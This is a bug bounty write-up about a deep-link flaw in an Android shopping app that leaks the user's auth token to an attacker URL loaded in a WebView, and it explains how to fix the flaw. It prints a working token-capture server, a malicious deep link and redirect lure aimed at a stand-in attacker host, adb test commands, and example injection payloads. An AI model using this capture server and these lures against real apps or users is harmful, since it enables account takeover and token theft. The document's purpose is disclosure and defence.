When an Android app silently attaches authentication tokens to every URL opened through a deep link, a single click is all it takes.
Press enter or click to view image in full size
Note: The application name “SomeQuickCart” is used as a fictional substitute throughout this write-up to protect the identity of the actual application.
Deep links are a powerful mobile feature. They allow external sources — websites, other apps, QR codes, messages — to open a specific screen or action within a mobile application. But the trust boundary around deep links is one of the most commonly misunderstood surfaces in mobile security. A deep link is, at its core, an externally controlled input that triggers internal application behavior. When that behavior includes appending sensitive authentication material to arbitrary URLs, the consequences are immediate and severe.
This writeup covers a vulnerability in an Android application where a crafted deep link could force the app to open an attacker-controlled URL in a WebView, with the victim’s authentication token silently appended as a query parameter.
The result: one-click account takeover with zero user interaction beyond tapping a link.
Before diving into the vulnerability, it is worth understanding the mechanics of Android deep links. An Android application can register to handle specific URI schemes through its AndroidManifest.xml. When a user taps a link matching a registered scheme, the operating system routes the intent to the corresponding app.
There are three types of deep links on Android:
myapp:// that are handled exclusively by the app. These are the simplest form and the type used in this vulnerability.https:// links that use Digital Asset Links to cryptographically prove domain ownership.intent:// that carry Android intent data directly in the URL.The example SomeQuickCart Android application (package name com.Somequickcart.delivery) registered a custom URI scheme deep link in its manifest:
<activity android:name=".ui.DeepLinkHandlerActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="android"
android:host="Somequickcart" />
</intent-filter>
</activity>This registration means the app will handle any URI matching the pattern android://Somequickcart. The activity is marked android:exported="true", which means any other application on the device -- or any browser handling a link click -- can trigger this intent. This is by design for deep links, but it means the entry point is fully exposed to external input.
The deep link handler in the app accepts several query parameters that control the app’s behavior upon invocation:
android://Somequickcart?page=<target>&objectId=<id>&isPush=<bool>&objectType=<value>The parameters break down as follows:
page -- Determines which screen or activity to open. Supported values include product detail pages, category views, user profile screens, and webviews.objectId -- An identifier passed to the target page, typically a product ID or content ID.isPush -- A boolean flag indicating whether the deep link originated from a push notification. Used for analytics tracking.objectType -- When page=webview, this parameter specifies the URL to load in the WebView.The page=webview and objectType combination is where the vulnerability lives. The deep link handler interprets these parameters roughly as follows:
// Pseudocode of the deep link handler
public void handleDeepLink(Intent intent) {
Uri deepLinkUri = intent.getData();String page = deepLinkUri.getQueryParameter("page");
String objectId = deepLinkUri.getQueryParameter("objectId");
String isPush = deepLinkUri.getQueryParameter("isPush");
String objectType = deepLinkUri.getQueryParameter("objectType"); if ("webview".equals(page)) {
// objectType is treated as a URL to load
openWebView(objectType);
} else if ("product".equals(page)) {
openProductDetail(objectId);
} else if ("category".equals(page)) {
openCategory(objectId);
}
// ... other page types
}
When page is set to webview, the app takes the value of objectType -- which is entirely attacker-controlled -- and passes it to the WebView loading method. There is no validation of the URL. No domain check. No allowlist. Any URL the attacker provides will be loaded.
Loading an arbitrary URL in a WebView is already a significant issue. But what elevates this from a simple open redirect to a full account takeover is what happens next. The app’s WebView initialization code automatically appends the current user’s authentication token to every URL it loads.
The relevant code path, reconstructed from reverse engineering the APK:
// Pseudocode of the WebView URL loading logic
public void openWebView(String targetUrl) {
WebView webView = new WebView(this);// Configure WebView settings
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setDomStorageEnabled(true); // Retrieve current user's auth token from session manager
String authToken = SessionManager.getInstance().getUserToken(); // VULNERABLE: Unconditionally append token to ANY URL
if (authToken != null && !authToken.isEmpty()) {
String separator = targetUrl.contains("?") ? "&" : "?";
targetUrl = targetUrl + separator + "tmp_param1=" + authToken;
} // Load the URL with the appended token
webView.loadUrl(targetUrl);
}
The method openWebView takes whatever URL it receives, retrieves the user's active authentication token from the session manager, and concatenates it as a query parameter named tmp_param1. There is no conditional logic checking whether the destination URL belongs to the SomeQuickCart domain. There is no flag to disable token appending for external URLs. The token is appended unconditionally to every URL loaded through this code path.
This design was likely intended for legitimate internal use — loading authenticated web content within the app, such as in-app promotions, help pages, or account management screens hosted on the web domain.
Join Medium for free to get updates from this writer.
The developers needed the WebView to carry the user’s session context so the web content could render personalized data. But because the deep link handler feeds attacker-controlled URLs into this same method, the token gets sent to any domain the attacker chooses.
The attacker first sets up a simple server to capture incoming requests and extract the authentication token from the query parameters:
# attacker_server.py -- Simple token capture server
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import json
import datetime
class TokenCaptureHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)# Extract the auto-appended auth token
token = params.get('tmp_param1', [None])[0]
if token:
timestamp = datetime.datetime.now().isoformat()
log_entry = {
"timestamp": timestamp,
"token": token,
"full_path": self.path,
"user_agent": self.headers.get("User-Agent"),
"referer": self.headers.get("Referer"),
"ip": self.client_address[0]
}
print(f"[CAPTURED] Token: {token[:20]}...")
with open("captured_tokens.json", "a") as f:
f.write(json.dumps(log_entry) + "\n")
# Serve a benign-looking page to avoid suspicion
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(b"""
<html>
<body>
<h1>Special Offer!</h1>
<p>This promotion has ended. Redirecting...</p>
<script>setTimeout(() => window.close(), 2000);</script>
</body>
</html>
""")
server = HTTPServer(("0.0.0.0", 443), TokenCaptureHandler)
server.serve_forever()
The attacker constructs a deep link that instructs the app to open a WebView pointed at the attacker’s server:
# The malicious deep link
android://somequickcart?page=webview&objectId=14833&isPush=true&objectType=https://attacker.example.comBreaking this down:
android://somequickcart -- Matches the app's registered scheme and host, so Android routes the intent to the someQuickCart app.page=webview -- Tells the deep link handler to open the WebView activity.objectId=14833 -- An arbitrary ID; not functionally relevant but makes the link appear legitimate.isPush=true -- Mimics a push notification origin; may bypass certain analytics-based checks.objectType=https://attacker.example.com -- The attacker's server URL, passed directly to the WebView.The deep link can be delivered through numerous channels:
# Delivery Method 1: Direct link in a message (SMS, WhatsApp, email)
"Check out this exclusive deal on someQuickCart!
android://somequickcart?page=webview&objectId=14833&isPush=true
&objectType=https://attacker.example.com"# Delivery Method 2: HTML page with an auto-redirect
<html>
<head>
<meta http-equiv="refresh"
content="0;url=android://somequickcart?page=webview
&objectId=14833&isPush=true
&objectType=https://attacker.example.com">
</head>
<body>Redirecting to the app...</body>
</html>
# Delivery Method 3: Via ADB for testing/demonstration
adb shell am start -a android.intent.action.VIEW \
-d "android://somequickcart?page=webview\
&objectId=14833&isPush=true\
&objectType=https://attacker.example.com"
When the victim taps the link:
android://somequickcart scheme and launches the SomeQuickCart app.DeepLinkHandlerActivity parses the query parameters.page=webview and extracts objectType=https://attacker.example.com.openWebView("https://attacker.example.com").https://attacker.example.com?tmp_param1=VICTIM_AUTH_TOKEN.The attacker’s server logs the token. The victim sees a benign page that closes itself. The entire attack completes in under a second.
Press enter or click to view image in full size
The fact that the token is appended as a URL query parameter — rather than sent in an HTTP header or POST body — makes this vulnerability significantly worse than it might initially appear. Query parameters leak through multiple channels beyond just the direct HTTP request:
# The token appears in the attacker's web server access log
# Even without custom capture code, standard logging records it:
192.168.1.100 - - [15/Feb/2026:14:32:01 +0000]
"GET /?tmp_param1=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NTY3OH0
HTTP/1.1" 200 1024
"android-app://com.Somequickcart.delivery" "Mozilla/5.0 ..."# If the attacker's page loads ANY external resource (image, script,
# stylesheet, analytics pixel), the full URL including the token
# leaks via the Referer header to that third-party resource:GET /pixel.gif HTTP/1.1
Host: analytics-provider.example.com
Referer: https://attacker.example.com/?tmp_param1=eyJhbGci...
# The token is now also visible to the analytics provider
This vulnerability results from three independent design failures that combine to produce account takeover:
The deep link handler passes the objectType parameter directly to the WebView without any validation. It does not check whether the URL belongs to the SomeQuickCart domain, does not enforce HTTPS, and does not reject unexpected schemes or hosts.
// VULNERABLE: No validation
openWebView(objectType); // objectType = "https://evil.example.com"// SECURE: Domain allowlist
private static final Set<String> ALLOWED_HOSTS = Set.of(
"Somequickcart.com",
"www.Somequickcart.com",
"m.Somequickcart.com",
"help.Somequickcart.com"
);
public void openWebView(String url) {
Uri parsed = Uri.parse(url);
String host = parsed.getHost();
if (host == null || !ALLOWED_HOSTS.contains(host.toLowerCase())) {
Log.w(TAG, "Blocked WebView load for untrusted host: " + host);
return;
}
// Only proceed for trusted domains
loadUrlInWebView(url);
}
The WebView loading logic appends the authentication token to every URL regardless of the destination. There is no conditional check on the URL’s domain before attaching sensitive credentials.
// VULNERABLE: Token appended to ANY URL
targetUrl = targetUrl + "?tmp_param1=" + authToken;// SECURE: Only append token for first-party domains
public String prepareUrl(String url) {
Uri parsed = Uri.parse(url);
String host = parsed.getHost();
if (host != null && isFirstPartyDomain(host)) {
// Only attach token for our own domains
String separator = url.contains("?") ? "&" : "?";
return url + separator + "tmp_param1=" + getAuthToken();
}
// External URLs never receive the token
return url;
}
Even for legitimate first-party use, transmitting authentication tokens as URL query parameters is a poor practice. Tokens in query strings are logged, cached, and leaked through referer headers. Secure implementations use HTTP headers.
// VULNERABLE: Token in query parameter (logged, leaked, cached)
webView.loadUrl(url + "?tmp_param1=" + token);// SECURE: Token in HTTP header (not logged in URL, not leaked via referer)
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + token);
webView.loadUrl(url, headers);
The vulnerability begins with external input in the form of a crafted deep link, where the objectType parameter contains an attacker-controlled URL. Because the deep link handler performs no URL validation, it blindly passes this untrusted URL directly to the WebView. This leads to the first failure: the application does not verify whether the destination belongs to a trusted domain. Next, due to unconditional token appending, the application automatically attaches the user’s authentication token to every URL loaded in the WebView, including attacker-controlled domains. This represents the second failure, as sensitive credentials are exposed to untrusted destinations. The third failure occurs because the token is appended as a query parameter, making it visible in server logs, browser history, referer headers, and intermediary systems. As a result, the attacker’s server receives a request containing the victim’s token, such as https://evil.example.com/?tmp_param1=TOKEN. Once the attacker obtains this token, they can reuse it to authenticate as the victim and gain unauthorized access to the victim’s account, completing the compromise chain.
Any one of these three failures being addressed would have prevented the attack. URL validation would block the attacker’s domain from loading. Conditional token appending would prevent the token from being attached to external URLs. Using headers instead of query parameters would prevent the token from being captured in server logs even if it were sent. Defense in depth means implementing all three.
public class DeepLinkHandlerActivity extends AppCompatActivity {// Allowlisted domains for WebView loading
private static final Set<String> ALLOWED_WEBVIEW_HOSTS = Set.of(
"Somequickcart.com",
"www.Somequickcart.com",
"m.Somequickcart.com",
"help.Somequickcart.com",
"promo.Somequickcart.com"
);
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri deepLinkUri = getIntent().getData();
if (deepLinkUri == null) {
finish();
return;
}
String page = deepLinkUri.getQueryParameter("page");
String objectType = deepLinkUri.getQueryParameter("objectType");
if ("webview".equals(page)) {
if (objectType == null || objectType.isEmpty()) {
Log.w(TAG, "Deep link webview request with no URL");
finish();
return;
}
// Parse and validate the target URL
Uri targetUri = Uri.parse(objectType);
String scheme = targetUri.getScheme();
String host = targetUri.getHost();
// Enforce HTTPS only
if (!"https".equals(scheme)) {
Log.w(TAG, "Blocked non-HTTPS WebView URL: " + scheme);
finish();
return;
}
// Validate against domain allowlist
if (host == null || !isAllowedHost(host)) {
Log.w(TAG, "Blocked untrusted WebView host: " + host);
finish();
return;
}
openWebView(objectType);
}
}
private boolean isAllowedHost(String host) {
host = host.toLowerCase(Locale.US);
for (String allowed : ALLOWED_WEBVIEW_HOSTS) {
if (host.equals(allowed) || host.endsWith("." + allowed)) {
return true;
}
}
return false;
}
}
public class SecureWebViewActivity extends AppCompatActivity {
private static final Set<String> TOKEN_ELIGIBLE_HOSTS = Set.of(
"Somequickcart.com",
"api.Somequickcart.com"
)
public void loadSecureUrl(WebView webView, String url) {
Uri parsed = Uri.parse(url);
String host = parsed.getHost();
if (host != null && isTokenEligible(host)) {
// First-party domain: send token via HTTP header (NOT query param)
Map<String, String> headers = new HashMap<>();
String token = SessionManager.getInstance().getUserToken();
if (token != null) {
headers.put("Authorization", "Bearer " + token);
}
webView.loadUrl(url, headers);
} else {
// External domain: load without any credentials
webView.loadUrl(url);
}
}
private boolean isTokenEligible(String host) {
host = host.toLowerCase(Locale.US);
for (String eligible : TOKEN_ELIGIBLE_HOSTS) {
if (host.equals(eligible) || host.endsWith("." + eligible)) {
return true;
}
}
return false;
}
}Even with deep link validation, the WebView itself should prevent navigation to untrusted domains. This catches cases where a legitimate page might redirect or where JavaScript attempts to navigate the WebView:
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
String host = uri.getHost();
if (host == null || !isAllowedHost(host)) {
// Block navigation to untrusted domains
Log.w(TAG, "Blocked WebView navigation to: " + host);
// Optionally open in external browser without token
Intent browserIntent = new Intent(Intent.ACTION_VIEW, uri);
startActivity(browserIntent);
return true; // Prevent WebView from loading it
}
return false; // Allow navigation within trusted domains
}
});// Option A: Use HTTP headers (preferred)
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + token);
webView.loadUrl(url, headers);
// Option B: Use postUrl with token in POST body
String postData = "auth_token=" + URLEncoder.encode(token, "UTF-8");
webView.postUrl(url, postData.getBytes());
// Option C: Use JavaScript bridge for cookie-based auth
webView.evaluateJavascript(
"document.cookie = 'session=" + token + "; Secure; HttpOnly; SameSite=Strict';",
null
);
// NEVER DO THIS:
// webView.loadUrl(url + "?tmp_param1=" + token);# Grep patterns to detect this vulnerability class in Android codebases:# 1. Find deep link handlers that open WebViews
grep -rn "getQueryParameter.*objectType\|getQueryParameter.*url\|getQueryParameter.*link" \
--include="*.java" --include="*.kt" app/src/
# 2. Find token appending to URLs
grep -rn "tmp_param1\|token.*[+].*url\|url.*[+].*token\|appendQueryParameter.*token" \
--include="*.java" --include="*.kt" app/src/
# 3. Find exported activities with intent filters (potential deep link handlers)
grep -rn "android:exported=\"true\"" AndroidManifest.xml
# 4. Find WebView loadUrl calls that include query parameters
grep -rn "loadUrl.*[+].*param\|loadUrl.*[+].*token\|loadUrl.*[+].*auth" \
--include="*.java" --include="*.kt" app/src/
# Test 1: Send the deep link via ADB and monitor network traffic
adb shell am start -a android.intent.action.VIEW \
-d "android://Somequickcart?page=webview\&objectId=1\&isPush=true\
\&objectType=https://your-burp-collaborator.example.com"# Expected: If vulnerable, Burp Collaborator receives a request
# with tmp_param1 containing the auth token
This vulnerability is not an isolated incident. Deep link handling is one of the most consistently problematic areas in mobile application security. The root issue is that deep links are externally controlled inputs that trigger privileged internal behavior. Any time a deep link can influence what URLs are loaded, what data is displayed, or what actions are taken, the trust boundary must be carefully enforced.
Common deep link vulnerability patterns to test for:
1. OPEN REDIRECT VIA DEEP LINK
Deep link parameter controls a URL that the app navigates to.
No domain validation. Used for phishing or token theft.
Pattern: myapp://open?url=https://evil.com2. TOKEN/CREDENTIAL LEAKAGE
App attaches auth material to URLs loaded from deep links.
Tokens leak via query params, headers, or JS bridges.
Pattern: myapp://webview?url=X -> X?token=SECRET [THIS BUG]3. JAVASCRIPT INJECTION VIA DEEP LINK
Deep link parameter is interpolated into JavaScript context
within a WebView without sanitization.
Pattern: myapp://page?name=<script>...</script>4. LOCAL FILE ACCESS VIA DEEP LINK
Deep link can open file:// or content:// URIs in WebView,
allowing reading of local files or app sandbox data.
Pattern: myapp://webview?url=file:///data/data/com.app/...5. INTENT INJECTION VIA DEEP LINK
Deep link parameters are used to construct Intents that
are dispatched internally, allowing access to unexported
activities or broadcast receivers.
Pattern: myapp://action?target=com.app/.AdminActivity6. PARAMETER INJECTION VIA DEEP LINK
Deep link parameters are passed to API calls or form
submissions without validation, allowing parameter
tampering or injection attacks.
Pattern: myapp://checkout?promo=ATTACKER_CODE&price=0
When auditing a mobile application, every registered deep link scheme and every parameter it accepts should be treated as a potential attack vector. Map the data flow from the deep link URI through the handler logic to every downstream action — URL loading, API calls, intent dispatch, data display — and verify that appropriate validation exists at each stage.
Deep links are external inputs. They are no different from HTTP request parameters or form submissions from a trust perspective, yet they are routinely treated as internal or trusted data. The fact that a deep link opens “your own app” does not make its parameters safe. The attacker controls every part of the URI.
Automatic credential attachment is a dangerous pattern. The design of unconditionally appending authentication tokens to URLs loaded in a WebView is inherently fragile. It works correctly only as long as every possible code path that loads a URL is restricted to first-party domains. The moment any code path allows an external URL — whether through a deep link, a redirect, a push notification payload, or a JavaScript navigation — the token leaks. Secure designs either use HTTP headers for token transmission or implement strict per-request domain verification before attaching credentials.
Query parameters are the worst transport for secrets. Tokens in query strings are logged by web servers, cached by browsers, leaked through referer headers, stored in history, and visible to network intermediaries. Even when tokens must be sent to a URL, HTTP headers or POST bodies are categorically safer. The tmp_param1 naming convention in this case suggests the developers may have considered it a temporary solution -- but temporary workarounds in security-critical code paths have a way of becoming permanent.
Defense in depth is not optional. Any single mitigation — URL allowlisting, conditional token attachment, or header-based token transport — would have prevented this specific attack.
But complete mitigation requires all three.
Each layer catches the failures of the other controls.
Episode #3 of my vulnerability research series.
#bugbounty #mobilesecurity #android #deeplinks #accounttakeover #tokenleakage #webview #appsec #infosec #CWE919